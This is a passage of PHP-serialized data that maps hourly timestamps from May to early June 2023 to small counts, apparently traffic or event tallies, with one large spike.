:1683086400;a:1:{i:0;i:16;}i:1683090000;a:1:{i:0;i:25;}i:1683093600;a:1:{i:0;i:13;}i:1683097200;a:1:{i:0;i:6;}i:1683100800;a:1:{i:0;i:6;}i:1683104400;a:1:{i:0;i:6;}i:1683108000;a:1:{i:0;i:2;}i:1683111600;a:1:{i:0;i:6;}i:1683115200;a:1:{i:0;i:6;}i:1683118800;a:1:{i:0;i:5;}i:1683122400;a:1:{i:0;i:2;}i:1683126000;a:1:{i:0;i:6;}i:1683129600;a:1:{i:0;i:4;}i:1683133200;a:1:{i:0;i:4;}i:1683136800;a:1:{i:0;i:7;}i:1683140400;a:1:{i:0;i:2;}i:1683144000;a:1:{i:0;i:2;}i:1683147600;a:1:{i:0;i:3;}i:1683151200;a:1:{i:0;i:2;}i:1683158400;a:1:{i:0;i:1;}i:1683162000;a:1:{i:0;i:4;}i:1683165600;a:1:{i:0;i:3;}i:1683169200;a:1:{i:0;i:5;}i:1683172800;a:1:{i:0;i:6;}i:1683176400;a:1:{i:0;i:8;}i:1683180000;a:1:{i:0;i:5;}i:1683183600;a:1:{i:0;i:3;}i:1683187200;a:1:{i:0;i:15;}i:1683190800;a:1:{i:0;i:18;}i:1683194400;a:1:{i:0;i:23;}i:1683198000;a:1:{i:0;i:23;}i:1683201600;a:1:{i:0;i:9;}i:1683205200;a:1:{i:0;i:26;}i:1683208800;a:1:{i:0;i:23;}i:1683212400;a:1:{i:0;i:21;}i:1683216000;a:1:{i:0;i:28;}i:1683219600;a:1:{i:0;i:12;}i:1683223200;a:1:{i:0;i:13;}i:1683226800;a:1:{i:0;i:14;}i:1683230400;a:1:{i:0;i:24;}i:1683234000;a:1:{i:0;i:29;}i:1683237600;a:1:{i:0;i:5;}i:1683241200;a:1:{i:0;i:13;}i:1683244800;a:1:{i:0;i:30;}i:1683248400;a:1:{i:0;i:6;}i:1683252000;a:1:{i:0;i:27;}i:1683255600;a:1:{i:0;i:28;}i:1683259200;a:1:{i:0;i:6;}i:1683266400;a:1:{i:0;i:21;}i:1683270000;a:1:{i:0;i:15;}i:1683273600;a:1:{i:0;i:7;}i:1683277200;a:1:{i:0;i:33;}i:1683280800;a:1:{i:0;i:11;}i:1683284400;a:1:{i:0;i:31;}i:1683288000;a:1:{i:0;i:15;}i:1683291600;a:1:{i:0;i:12;}i:1683295200;a:1:{i:0;i:19;}i:1683298800;a:1:{i:0;i:22;}i:1683302400;a:1:{i:0;i:18;}i:1683306000;a:1:{i:0;i:24;}i:1683309600;a:1:{i:0;i:22;}i:1683313200;a:1:{i:0;i:3;}i:1683316800;a:1:{i:0;i:18;}i:1683320400;a:1:{i:0;i:11;}i:1683324000;a:1:{i:0;i:13;}i:1683327600;a:1:{i:0;i:39;}i:1683331200;a:1:{i:0;i:33;}i:1683334800;a:1:{i:0;i:24;}i:1683338400;a:1:{i:0;i:25;}i:1683342000;a:1:{i:0;i:21;}i:1683345600;a:1:{i:0;i:10;}i:1683349200;a:1:{i:0;i:17;}i:1683352800;a:1:{i:0;i:17;}i:1683356400;a:1:{i:0;i:22;}i:1683360000;a:1:{i:0;i:11;}i:1683363600;a:1:{i:0;i:9;}i:1683367200;a:1:{i:0;i:33;}i:1683370800;a:1:{i:0;i:31;}i:1683374400;a:1:{i:0;i:26;}i:1683378000;a:1:{i:0;i:17;}i:1683381600;a:1:{i:0;i:7;}i:1683385200;a:1:{i:0;i:34;}i:1683388800;a:1:{i:0;i:26;}i:1683392400;a:1:{i:0;i:24;}i:1683396000;a:1:{i:0;i:26;}i:1683399600;a:1:{i:0;i:19;}i:1683403200;a:1:{i:0;i:38;}i:1683406800;a:1:{i:0;i:32;}i:1683410400;a:1:{i:0;i:33;}i:1683414000;a:1:{i:0;i:40;}i:1683417600;a:1:{i:0;i:34;}i:1683421200;a:1:{i:0;i:27;}i:1683424800;a:1:{i:0;i:34;}i:1683428400;a:1:{i:0;i:22;}i:1683432000;a:1:{i:0;i:56;}i:1683435600;a:1:{i:0;i:5;}i:1683439200;a:1:{i:0;i:5;}i:1683442800;a:1:{i:0;i:10;}i:1683446400;a:1:{i:0;i:13;}i:1683450000;a:1:{i:0;i:19;}i:1683453600;a:1:{i:0;i:15;}i:1683457200;a:1:{i:0;i:13;}i:1683460800;a:1:{i:0;i:7;}i:1683464400;a:1:{i:0;i:10;}i:1683468000;a:1:{i:0;i:5;}i:1683471600;a:1:{i:0;i:3;}i:1683475200;a:1:{i:0;i:3;}i:1683478800;a:1:{i:0;i:4;}i:1683482400;a:1:{i:0;i:6;}i:1683486000;a:1:{i:0;i:7;}i:1683489600;a:1:{i:0;i:4;}i:1683493200;a:1:{i:0;i:5;}i:1683496800;a:1:{i:0;i:8;}i:1683500400;a:1:{i:0;i:8;}i:1683504000;a:1:{i:0;i:10;}i:1683507600;a:1:{i:0;i:10;}i:1683511200;a:1:{i:0;i:5;}i:1683514800;a:1:{i:0;i:4;}i:1683518400;a:1:{i:0;i:6;}i:1683522000;a:1:{i:0;i:8;}i:1683525600;a:1:{i:0;i:9;}i:1683529200;a:1:{i:0;i:13;}i:1683532800;a:1:{i:0;i:6;}i:1683536400;a:1:{i:0;i:8;}i:1683540000;a:1:{i:0;i:10;}i:1683543600;a:1:{i:0;i:7;}i:1683547200;a:1:{i:0;i:8;}i:1683550800;a:1:{i:0;i:4;}i:1683554400;a:1:{i:0;i:9;}i:1683558000;a:1:{i:0;i:1;}i:1683561600;a:1:{i:0;i:6;}i:1683565200;a:1:{i:0;i:3;}i:1683568800;a:1:{i:0;i:7;}i:1683572400;a:1:{i:0;i:5;}i:1683576000;a:1:{i:0;i:4;}i:1683579600;a:1:{i:0;i:3;}i:1683583200;a:1:{i:0;i:2;}i:1683586800;a:1:{i:0;i:6;}i:1683590400;a:1:{i:0;i:6;}i:1683594000;a:1:{i:0;i:4;}i:1683597600;a:1:{i:0;i:8;}i:1683601200;a:1:{i:0;i:4;}i:1683604800;a:1:{i:0;i:5;}i:1683608400;a:1:{i:0;i:7;}i:1683612000;a:1:{i:0;i:7;}i:1683615600;a:1:{i:0;i:6;}i:1683619200;a:1:{i:0;i:10;}i:1683622800;a:1:{i:0;i:4;}i:1683626400;a:1:{i:0;i:7;}i:1683630000;a:1:{i:0;i:7;}i:1683633600;a:1:{i:0;i:2;}i:1683637200;a:1:{i:0;i:2;}i:1683640800;a:1:{i:0;i:1;}i:1683644400;a:1:{i:0;i:4;}i:1683648000;a:1:{i:0;i:3;}i:1683651600;a:1:{i:0;i:5;}i:1683655200;a:1:{i:0;i:1;}i:1683658800;a:1:{i:0;i:1;}i:1683662400;a:1:{i:0;i:2;}i:1683666000;a:1:{i:0;i:3;}i:1683669600;a:1:{i:0;i:2;}i:1683673200;a:1:{i:0;i:4;}i:1683676800;a:1:{i:0;i:11;}i:1683680400;a:1:{i:0;i:3;}i:1683684000;a:1:{i:0;i:2;}i:1683687600;a:1:{i:0;i:3;}i:1683691200;a:1:{i:0;i:4;}i:1683694800;a:1:{i:0;i:5;}i:1683698400;a:1:{i:0;i:1;}i:1683702000;a:1:{i:0;i:3;}i:1683705600;a:1:{i:0;i:5;}i:1683709200;a:1:{i:0;i:2;}i:1683716400;a:1:{i:0;i:2;}i:1683720000;a:1:{i:0;i:2;}i:1683723600;a:1:{i:0;i:3;}i:1683727200;a:1:{i:0;i:2;}i:1683734400;a:1:{i:0;i:5;}i:1683738000;a:1:{i:0;i:2;}i:1683741600;a:1:{i:0;i:4;}i:1683745200;a:1:{i:0;i:3;}i:1683748800;a:1:{i:0;i:4;}i:1683752400;a:1:{i:0;i:2;}i:1683759600;a:1:{i:0;i:10;}i:1683763200;a:1:{i:0;i:9;}i:1683766800;a:1:{i:0;i:6;}i:1683770400;a:1:{i:0;i:6;}i:1683774000;a:1:{i:0;i:7;}i:1683777600;a:1:{i:0;i:11;}i:1683781200;a:1:{i:0;i:14;}i:1683784800;a:1:{i:0;i:13;}i:1683788400;a:1:{i:0;i:10;}i:1683792000;a:1:{i:0;i:10;}i:1683795600;a:1:{i:0;i:8;}i:1683799200;a:1:{i:0;i:1;}i:1683802800;a:1:{i:0;i:2;}i:1683806400;a:1:{i:0;i:1;}i:1683810000;a:1:{i:0;i:3;}i:1683813600;a:1:{i:0;i:4;}i:1683817200;a:1:{i:0;i:4;}i:1683820800;a:1:{i:0;i:1;}i:1683824400;a:1:{i:0;i:1;}i:1683828000;a:1:{i:0;i:3;}i:1683831600;a:1:{i:0;i:3;}i:1683838800;a:1:{i:0;i:2;}i:1683842400;a:1:{i:0;i:3;}i:1683846000;a:1:{i:0;i:3;}i:1683849600;a:1:{i:0;i:1;}i:1683853200;a:1:{i:0;i:3;}i:1683856800;a:1:{i:0;i:1;}i:1683860400;a:1:{i:0;i:1;}i:1683864000;a:1:{i:0;i:4;}i:1683867600;a:1:{i:0;i:4;}i:1683878400;a:1:{i:0;i:2;}i:1683882000;a:1:{i:0;i:3;}i:1683889200;a:1:{i:0;i:3;}i:1683892800;a:1:{i:0;i:91;}i:1683896400;a:1:{i:0;i:1042;}i:1683900000;a:1:{i:0;i:20;}i:1683903600;a:1:{i:0;i:12;}i:1683907200;a:1:{i:0;i:11;}i:1683910800;a:1:{i:0;i:12;}i:1683914400;a:1:{i:0;i:6;}i:1683918000;a:1:{i:0;i:6;}i:1683925200;a:1:{i:0;i:1;}i:1683932400;a:1:{i:0;i:9;}i:1683936000;a:1:{i:0;i:2;}i:1683939600;a:1:{i:0;i:6;}i:1683943200;a:1:{i:0;i:4;}i:1683946800;a:1:{i:0;i:7;}i:1683950400;a:1:{i:0;i:37;}i:1683954000;a:1:{i:0;i:15;}i:1683957600;a:1:{i:0;i:13;}i:1683961200;a:1:{i:0;i:7;}i:1683964800;a:1:{i:0;i:6;}i:1683968400;a:1:{i:0;i:6;}i:1683972000;a:1:{i:0;i:4;}i:1683975600;a:1:{i:0;i:1;}i:1683979200;a:1:{i:0;i:5;}i:1683982800;a:1:{i:0;i:7;}i:1683986400;a:1:{i:0;i:7;}i:1683990000;a:1:{i:0;i:11;}i:1683993600;a:1:{i:0;i:8;}i:1683997200;a:1:{i:0;i:14;}i:1684000800;a:1:{i:0;i:10;}i:1684004400;a:1:{i:0;i:12;}i:1684008000;a:1:{i:0;i:14;}i:1684011600;a:1:{i:0;i:9;}i:1684015200;a:1:{i:0;i:11;}i:1684018800;a:1:{i:0;i:6;}i:1684022400;a:1:{i:0;i:10;}i:1684026000;a:1:{i:0;i:10;}i:1684029600;a:1:{i:0;i:8;}i:1684033200;a:1:{i:0;i:8;}i:1684036800;a:1:{i:0;i:9;}i:1684040400;a:1:{i:0;i:8;}i:1684044000;a:1:{i:0;i:9;}i:1684047600;a:1:{i:0;i:6;}i:1684051200;a:1:{i:0;i:8;}i:1684054800;a:1:{i:0;i:7;}i:1684058400;a:1:{i:0;i:4;}i:1684062000;a:1:{i:0;i:5;}i:1684065600;a:1:{i:0;i:3;}i:1684069200;a:1:{i:0;i:7;}i:1684072800;a:1:{i:0;i:2;}i:1684076400;a:1:{i:0;i:1;}i:1684080000;a:1:{i:0;i:1;}i:1684083600;a:1:{i:0;i:3;}i:1684087200;a:1:{i:0;i:3;}i:1684090800;a:1:{i:0;i:2;}i:1684094400;a:1:{i:0;i:2;}i:1684098000;a:1:{i:0;i:1;}i:1684101600;a:1:{i:0;i:3;}i:1684105200;a:1:{i:0;i:2;}i:1684108800;a:1:{i:0;i:2;}i:1684112400;a:1:{i:0;i:2;}i:1684116000;a:1:{i:0;i:1;}i:1684119600;a:1:{i:0;i:4;}i:1684123200;a:1:{i:0;i:12;}i:1684126800;a:1:{i:0;i:10;}i:1684130400;a:1:{i:0;i:3;}i:1684134000;a:1:{i:0;i:9;}i:1684137600;a:1:{i:0;i:2;}i:1684141200;a:1:{i:0;i:1;}i:1684144800;a:1:{i:0;i:1;}i:1684148400;a:1:{i:0;i:2;}i:1684152000;a:1:{i:0;i:2;}i:1684155600;a:1:{i:0;i:3;}i:1684159200;a:1:{i:0;i:1;}i:1684166400;a:1:{i:0;i:1;}i:1684173600;a:1:{i:0;i:3;}i:1684191600;a:1:{i:0;i:1;}i:1684198800;a:1:{i:0;i:5;}i:1684202400;a:1:{i:0;i:6;}i:1684206000;a:1:{i:0;i:10;}i:1684209600;a:1:{i:0;i:18;}i:1684213200;a:1:{i:0;i:16;}i:1684216800;a:1:{i:0;i:15;}i:1684220400;a:1:{i:0;i:17;}i:1684224000;a:1:{i:0;i:16;}i:1684227600;a:1:{i:0;i:11;}i:1684231200;a:1:{i:0;i:12;}i:1684234800;a:1:{i:0;i:12;}i:1684238400;a:1:{i:0;i:12;}i:1684242000;a:1:{i:0;i:8;}i:1684245600;a:1:{i:0;i:1;}i:1684256400;a:1:{i:0;i:2;}i:1684260000;a:1:{i:0;i:8;}i:1684263600;a:1:{i:0;i:2;}i:1684267200;a:1:{i:0;i:2;}i:1684270800;a:1:{i:0;i:3;}i:1684274400;a:1:{i:0;i:4;}i:1684278000;a:1:{i:0;i:5;}i:1684281600;a:1:{i:0;i:9;}i:1684285200;a:1:{i:0;i:4;}i:1684288800;a:1:{i:0;i:7;}i:1684292400;a:1:{i:0;i:9;}i:1684296000;a:1:{i:0;i:10;}i:1684299600;a:1:{i:0;i:11;}i:1684303200;a:1:{i:0;i:13;}i:1684306800;a:1:{i:0;i:28;}i:1684310400;a:1:{i:0;i:33;}i:1684314000;a:1:{i:0;i:23;}i:1684317600;a:1:{i:0;i:22;}i:1684321200;a:1:{i:0;i:27;}i:1684324800;a:1:{i:0;i:23;}i:1684328400;a:1:{i:0;i:16;}i:1684332000;a:1:{i:0;i:27;}i:1684335600;a:1:{i:0;i:15;}i:1684339200;a:1:{i:0;i:2;}i:1684342800;a:1:{i:0;i:18;}i:1684346400;a:1:{i:0;i:16;}i:1684350000;a:1:{i:0;i:17;}i:1684353600;a:1:{i:0;i:15;}i:1684357200;a:1:{i:0;i:16;}i:1684360800;a:1:{i:0;i:17;}i:1684364400;a:1:{i:0;i:17;}i:1684368000;a:1:{i:0;i:2;}i:1684371600;a:1:{i:0;i:13;}i:1684375200;a:1:{i:0;i:11;}i:1684378800;a:1:{i:0;i:19;}i:1684382400;a:1:{i:0;i:16;}i:1684386000;a:1:{i:0;i:16;}i:1684389600;a:1:{i:0;i:16;}i:1684396800;a:1:{i:0;i:15;}i:1684400400;a:1:{i:0;i:14;}i:1684404000;a:1:{i:0;i:18;}i:1684407600;a:1:{i:0;i:11;}i:1684411200;a:1:{i:0;i:16;}i:1684414800;a:1:{i:0;i:17;}i:1684418400;a:1:{i:0;i:13;}i:1684422000;a:1:{i:0;i:2;}i:1684425600;a:1:{i:0;i:39;}i:1684429200;a:1:{i:0;i:17;}i:1684432800;a:1:{i:0;i:13;}i:1684436400;a:1:{i:0;i:16;}i:1684440000;a:1:{i:0;i:16;}i:1684443600;a:1:{i:0;i:13;}i:1684447200;a:1:{i:0;i:14;}i:1684450800;a:1:{i:0;i:14;}i:1684454400;a:1:{i:0;i:20;}i:1684458000;a:1:{i:0;i:14;}i:1684461600;a:1:{i:0;i:16;}i:1684465200;a:1:{i:0;i:14;}i:1684468800;a:1:{i:0;i:19;}i:1684472400;a:1:{i:0;i:21;}i:1684476000;a:1:{i:0;i:23;}i:1684479600;a:1:{i:0;i:31;}i:1684483200;a:1:{i:0;i:22;}i:1684486800;a:1:{i:0;i:10;}i:1684490400;a:1:{i:0;i:16;}i:1684494000;a:1:{i:0;i:20;}i:1684497600;a:1:{i:0;i:15;}i:1684501200;a:1:{i:0;i:15;}i:1684504800;a:1:{i:0;i:15;}i:1684508400;a:1:{i:0;i:19;}i:1684512000;a:1:{i:0;i:5;}i:1684515600;a:1:{i:0;i:21;}i:1684519200;a:1:{i:0;i:17;}i:1684522800;a:1:{i:0;i:22;}i:1684526400;a:1:{i:0;i:18;}i:1684530000;a:1:{i:0;i:17;}i:1684533600;a:1:{i:0;i:19;}i:1684537200;a:1:{i:0;i:2;}i:1684540800;a:1:{i:0;i:17;}i:1684544400;a:1:{i:0;i:15;}i:1684548000;a:1:{i:0;i:15;}i:1684551600;a:1:{i:0;i:19;}i:1684555200;a:1:{i:0;i:22;}i:1684558800;a:1:{i:0;i:27;}i:1684562400;a:1:{i:0;i:21;}i:1684566000;a:1:{i:0;i:11;}i:1684569600;a:1:{i:0;i:24;}i:1684573200;a:1:{i:0;i:18;}i:1684576800;a:1:{i:0;i:19;}i:1684580400;a:1:{i:0;i:22;}i:1684584000;a:1:{i:0;i:23;}i:1684587600;a:1:{i:0;i:5;}i:1684591200;a:1:{i:0;i:20;}i:1684594800;a:1:{i:0;i:25;}i:1684598400;a:1:{i:0;i:13;}i:1684602000;a:1:{i:0;i:10;}i:1684605600;a:1:{i:0;i:8;}i:1684609200;a:1:{i:0;i:8;}i:1684612800;a:1:{i:0;i:10;}i:1684616400;a:1:{i:0;i:10;}i:1684620000;a:1:{i:0;i:9;}i:1684623600;a:1:{i:0;i:8;}i:1684627200;a:1:{i:0;i:9;}i:1684630800;a:1:{i:0;i:7;}i:1684634400;a:1:{i:0;i:10;}i:1684638000;a:1:{i:0;i:9;}i:1684641600;a:1:{i:0;i:5;}i:1684645200;a:1:{i:0;i:3;}i:1684648800;a:1:{i:0;i:2;}i:1684652400;a:1:{i:0;i:5;}i:1684656000;a:1:{i:0;i:2;}i:1684659600;a:1:{i:0;i:3;}i:1684663200;a:1:{i:0;i:4;}i:1684666800;a:1:{i:0;i:5;}i:1684670400;a:1:{i:0;i:2;}i:1684674000;a:1:{i:0;i:3;}i:1684677600;a:1:{i:0;i:2;}i:1684681200;a:1:{i:0;i:3;}i:1684684800;a:1:{i:0;i:6;}i:1684688400;a:1:{i:0;i:5;}i:1684692000;a:1:{i:0;i:4;}i:1684695600;a:1:{i:0;i:5;}i:1684699200;a:1:{i:0;i:14;}i:1684702800;a:1:{i:0;i:15;}i:1684706400;a:1:{i:0;i:18;}i:1684731600;a:1:{i:0;i:11;}i:1684735200;a:1:{i:0;i:4;}i:1684738800;a:1:{i:0;i:10;}i:1684742400;a:1:{i:0;i:11;}i:1684746000;a:1:{i:0;i:6;}i:1684749600;a:1:{i:0;i:10;}i:1684753200;a:1:{i:0;i:5;}i:1684756800;a:1:{i:0;i:4;}i:1684760400;a:1:{i:0;i:6;}i:1684764000;a:1:{i:0;i:8;}i:1684767600;a:1:{i:0;i:4;}i:1684771200;a:1:{i:0;i:3;}i:1684774800;a:1:{i:0;i:3;}i:1684778400;a:1:{i:0;i:5;}i:1684782000;a:1:{i:0;i:5;}i:1684785600;a:1:{i:0;i:6;}i:1684789200;a:1:{i:0;i:4;}i:1684792800;a:1:{i:0;i:5;}i:1684796400;a:1:{i:0;i:5;}i:1684800000;a:1:{i:0;i:6;}i:1684803600;a:1:{i:0;i:4;}i:1684807200;a:1:{i:0;i:3;}i:1684810800;a:1:{i:0;i:3;}i:1684814400;a:1:{i:0;i:13;}i:1684818000;a:1:{i:0;i:11;}i:1684821600;a:1:{i:0;i:12;}i:1684825200;a:1:{i:0;i:8;}i:1684828800;a:1:{i:0;i:3;}i:1684832400;a:1:{i:0;i:5;}i:1684836000;a:1:{i:0;i:3;}i:1684839600;a:1:{i:0;i:4;}i:1684843200;a:1:{i:0;i:2;}i:1684846800;a:1:{i:0;i:4;}i:1684850400;a:1:{i:0;i:3;}i:1684854000;a:1:{i:0;i:9;}i:1684857600;a:1:{i:0;i:5;}i:1684861200;a:1:{i:0;i:4;}i:1684864800;a:1:{i:0;i:4;}i:1684868400;a:1:{i:0;i:1;}i:1684872000;a:1:{i:0;i:5;}i:1684875600;a:1:{i:0;i:7;}i:1684879200;a:1:{i:0;i:3;}i:1684882800;a:1:{i:0;i:3;}i:1684886400;a:1:{i:0;i:4;}i:1684890000;a:1:{i:0;i:2;}i:1684893600;a:1:{i:0;i:8;}i:1684897200;a:1:{i:0;i:2;}i:1684900800;a:1:{i:0;i:6;}i:1684904400;a:1:{i:0;i:4;}i:1684908000;a:1:{i:0;i:2;}i:1684911600;a:1:{i:0;i:6;}i:1684915200;a:1:{i:0;i:6;}i:1684918800;a:1:{i:0;i:2;}i:1684922400;a:1:{i:0;i:5;}i:1684926000;a:1:{i:0;i:5;}i:1684929600;a:1:{i:0;i:2;}i:1684933200;a:1:{i:0;i:2;}i:1684936800;a:1:{i:0;i:5;}i:1684944000;a:1:{i:0;i:3;}i:1684947600;a:1:{i:0;i:2;}i:1684958400;a:1:{i:0;i:1;}i:1684962000;a:1:{i:0;i:3;}i:1684969200;a:1:{i:0;i:2;}i:1684972800;a:1:{i:0;i:2;}i:1684980000;a:1:{i:0;i:6;}i:1684983600;a:1:{i:0;i:7;}i:1684987200;a:1:{i:0;i:10;}i:1684990800;a:1:{i:0;i:14;}i:1684994400;a:1:{i:0;i:14;}i:1684998000;a:1:{i:0;i:11;}i:1685001600;a:1:{i:0;i:8;}i:1685005200;a:1:{i:0;i:12;}i:1685008800;a:1:{i:0;i:9;}i:1685012400;a:1:{i:0;i:5;}i:1685016000;a:1:{i:0;i:15;}i:1685019600;a:1:{i:0;i:12;}i:1685023200;a:1:{i:0;i:9;}i:1685026800;a:1:{i:0;i:5;}i:1685030400;a:1:{i:0;i:6;}i:1685034000;a:1:{i:0;i:6;}i:1685037600;a:1:{i:0;i:3;}i:1685044800;a:1:{i:0;i:5;}i:1685048400;a:1:{i:0;i:3;}i:1685052000;a:1:{i:0;i:1;}i:1685055600;a:1:{i:0;i:5;}i:1685059200;a:1:{i:0;i:6;}i:1685062800;a:1:{i:0;i:4;}i:1685066400;a:1:{i:0;i:3;}i:1685070000;a:1:{i:0;i:4;}i:1685073600;a:1:{i:0;i:7;}i:1685077200;a:1:{i:0;i:5;}i:1685080800;a:1:{i:0;i:7;}i:1685084400;a:1:{i:0;i:4;}i:1685088000;a:1:{i:0;i:7;}i:1685091600;a:1:{i:0;i:7;}i:1685095200;a:1:{i:0;i:6;}i:1685098800;a:1:{i:0;i:4;}i:1685102400;a:1:{i:0;i:10;}i:1685106000;a:1:{i:0;i:3;}i:1685109600;a:1:{i:0;i:10;}i:1685113200;a:1:{i:0;i:5;}i:1685116800;a:1:{i:0;i:3;}i:1685120400;a:1:{i:0;i:2;}i:1685127600;a:1:{i:0;i:1;}i:1685131200;a:1:{i:0;i:1;}i:1685134800;a:1:{i:0;i:1;}i:1685138400;a:1:{i:0;i:1;}i:1685142000;a:1:{i:0;i:1;}i:1685145600;a:1:{i:0;i:1;}i:1685149200;a:1:{i:0;i:5;}i:1685152800;a:1:{i:0;i:1;}i:1685156400;a:1:{i:0;i:1;}i:1685160000;a:1:{i:0;i:1;}i:1685163600;a:1:{i:0;i:1;}i:1685170800;a:1:{i:0;i:1;}i:1685174400;a:1:{i:0;i:1;}i:1685178000;a:1:{i:0;i:8;}i:1685181600;a:1:{i:0;i:13;}i:1685185200;a:1:{i:0;i:8;}i:1685188800;a:1:{i:0;i:18;}i:1685192400;a:1:{i:0;i:17;}i:1685196000;a:1:{i:0;i:12;}i:1685199600;a:1:{i:0;i:8;}i:1685203200;a:1:{i:0;i:8;}i:1685206800;a:1:{i:0;i:5;}i:1685210400;a:1:{i:0;i:14;}i:1685214000;a:1:{i:0;i:4;}i:1685217600;a:1:{i:0;i:3;}i:1685221200;a:1:{i:0;i:6;}i:1685224800;a:1:{i:0;i:3;}i:1685228400;a:1:{i:0;i:4;}i:1685232000;a:1:{i:0;i:4;}i:1685235600;a:1:{i:0;i:3;}i:1685239200;a:1:{i:0;i:4;}i:1685242800;a:1:{i:0;i:3;}i:1685246400;a:1:{i:0;i:8;}i:1685250000;a:1:{i:0;i:10;}i:1685253600;a:1:{i:0;i:4;}i:1685257200;a:1:{i:0;i:4;}i:1685260800;a:1:{i:0;i:3;}i:1685264400;a:1:{i:0;i:3;}i:1685268000;a:1:{i:0;i:4;}i:1685271600;a:1:{i:0;i:10;}i:1685275200;a:1:{i:0;i:8;}i:1685278800;a:1:{i:0;i:4;}i:1685282400;a:1:{i:0;i:5;}i:1685286000;a:1:{i:0;i:2;}i:1685289600;a:1:{i:0;i:3;}i:1685293200;a:1:{i:0;i:10;}i:1685296800;a:1:{i:0;i:16;}i:1685300400;a:1:{i:0;i:20;}i:1685304000;a:1:{i:0;i:17;}i:1685307600;a:1:{i:0;i:11;}i:1685311200;a:1:{i:0;i:13;}i:1685314800;a:1:{i:0;i:12;}i:1685318400;a:1:{i:0;i:9;}i:1685322000;a:1:{i:0;i:12;}i:1685325600;a:1:{i:0;i:9;}i:1685329200;a:1:{i:0;i:13;}i:1685332800;a:1:{i:0;i:10;}i:1685336400;a:1:{i:0;i:16;}i:1685340000;a:1:{i:0;i:16;}i:1685343600;a:1:{i:0;i:18;}i:1685347200;a:1:{i:0;i:15;}i:1685350800;a:1:{i:0;i:19;}i:1685354400;a:1:{i:0;i:14;}i:1685358000;a:1:{i:0;i:10;}i:1685361600;a:1:{i:0;i:2;}i:1685365200;a:1:{i:0;i:1;}i:1685372400;a:1:{i:0;i:1;}i:1685376000;a:1:{i:0;i:1;}i:1685379600;a:1:{i:0;i:6;}i:1685383200;a:1:{i:0;i:3;}i:1685386800;a:1:{i:0;i:20;}i:1685390400;a:1:{i:0;i:13;}i:1685394000;a:1:{i:0;i:10;}i:1685397600;a:1:{i:0;i:9;}i:1685401200;a:1:{i:0;i:8;}i:1685404800;a:1:{i:0;i:10;}i:1685408400;a:1:{i:0;i:9;}i:1685412000;a:1:{i:0;i:7;}i:1685415600;a:1:{i:0;i:6;}i:1685419200;a:1:{i:0;i:9;}i:1685422800;a:1:{i:0;i:8;}i:1685426400;a:1:{i:0;i:12;}i:1685430000;a:1:{i:0;i:16;}i:1685433600;a:1:{i:0;i:9;}i:1685437200;a:1:{i:0;i:9;}i:1685440800;a:1:{i:0;i:11;}i:1685444400;a:1:{i:0;i:4;}i:1685448000;a:1:{i:0;i:6;}i:1685451600;a:1:{i:0;i:8;}i:1685455200;a:1:{i:0;i:6;}i:1685458800;a:1:{i:0;i:5;}i:1685462400;a:1:{i:0;i:3;}i:1685466000;a:1:{i:0;i:1;}i:1685469600;a:1:{i:0;i:3;}i:1685473200;a:1:{i:0;i:2;}i:1685476800;a:1:{i:0;i:2;}i:1685480400;a:1:{i:0;i:3;}i:1685484000;a:1:{i:0;i:2;}i:1685487600;a:1:{i:0;i:3;}i:1685491200;a:1:{i:0;i:1;}i:1685494800;a:1:{i:0;i:2;}i:1685498400;a:1:{i:0;i:2;}i:1685505600;a:1:{i:0;i:2;}i:1685509200;a:1:{i:0;i:2;}i:1685512800;a:1:{i:0;i:2;}i:1685516400;a:1:{i:0;i:5;}i:1685520000;a:1:{i:0;i:2;}i:1685523600;a:1:{i:0;i:1;}i:1685527200;a:1:{i:0;i:1;}i:1685534400;a:1:{i:0;i:2;}i:1685538000;a:1:{i:0;i:3;}i:1685541600;a:1:{i:0;i:4;}i:1685545200;a:1:{i:0;i:2;}i:1685548800;a:1:{i:0;i:4;}i:1685552400;a:1:{i:0;i:1;}i:1685556000;a:1:{i:0;i:1;}i:1685559600;a:1:{i:0;i:2;}i:1685563200;a:1:{i:0;i:2;}i:1685566800;a:1:{i:0;i:8;}i:1685570400;a:1:{i:0;i:9;}i:1685574000;a:1:{i:0;i:5;}i:1685577600;a:1:{i:0;i:5;}i:1685581200;a:1:{i:0;i:1;}i:1685584800;a:1:{i:0;i:3;}i:1685588400;a:1:{i:0;i:4;}i:1685592000;a:1:{i:0;i:8;}i:1685595600;a:1:{i:0;i:16;}i:1685599200;a:1:{i:0;i:9;}i:1685602800;a:1:{i:0;i:11;}i:1685606400;a:1:{i:0;i:6;}i:1685610000;a:1:{i:0;i:4;}i:1685613600;a:1:{i:0;i:6;}i:1685617200;a:1:{i:0;i:4;}i:1685620800;a:1:{i:0;i:2;}i:1685624400;a:1:{i:0;i:2;}i:1685628000;a:1:{i:0;i:2;}i:1685631600;a:1:{i:0;i:3;}i:1685635200;a:1:{i:0;i:4;}i:1685638800;a:1:{i:0;i:2;}i:1685642400;a:1:{i:0;i:3;}i:1685646000;a:1:{i:0;i:2;}i:1685649600;a:1:{i:0;i:2;}i:1685653200;a:1:{i:0;i:5;}i:1685656800;a:1:{i:0;i:2;}i:1685660400;a:1:{i:0;i:4;}i:1685664000;a:1:{i:0;i:4;}i:1685667600;a:1:{i:0;i:3;}i:1685671200;a:1:{i:0;i:1;}i:1685674800;a:1:{i:0;i:2;}i:1685678400;a:1:{i:0;i:2;}i:1685682000;a:1:{i:0;i:2;}i:1685685600;a:1:{i:0;i:3;}i:1685689200;a:1:{i:0;i:2;}i:1685692800;a:1:{i:0;i:4;}i:1685696400;a:1:{i:0;i:1;}i:1685700000;a:1:{i:0;i:2;}i:1685703600;a:1:{i:0;i:4;}i:1685707200;a:1:{i:0;i:4;}i:1685710800;a:1:{i:0;i:2;}i:1685714400;a:1:{i:0;i:1;}i:1685718000;a:1:{i:0;i:1;}i:1685721600;a:1:{i:0;i:2;}i:1685725200;a:1:{i:0;i:1;}i:1685728800;a:1:{i:0;i:3;}i:1685736000;a:1:{i:0;i:3;}i:1685739600;a:1:{i:0;i:1;}i:1685743200;a:1:{i:0;i:1;}i:1685746800;a:1:{i:0;i:3;}i:1685750400;a:1:{i:0;i:1;}i:1685757600;a:1:{i:0;i:1;}i:1685761200;a:1:{i:0;i:1;}i:1685764800;a:1:{i:0;i:4;}i:1685768400;a:1:{i:0;i:1;}i:1685772000;a:1:{i:0;i:1;}i:1685800800;a:1:{i:0;i:1;}i:1685804400;a:1:{i:0;i:8;}i:1685808000;a:1:{i:0;i:14;}i:1685811600;a:1:{i:0;i:15;}i:1685815200;a:1:{i:0;i:14;}i:1685818800;a:1:{i:0;i:6;}i:1685822400;a:1:{i:0;i:7;}i:1685826000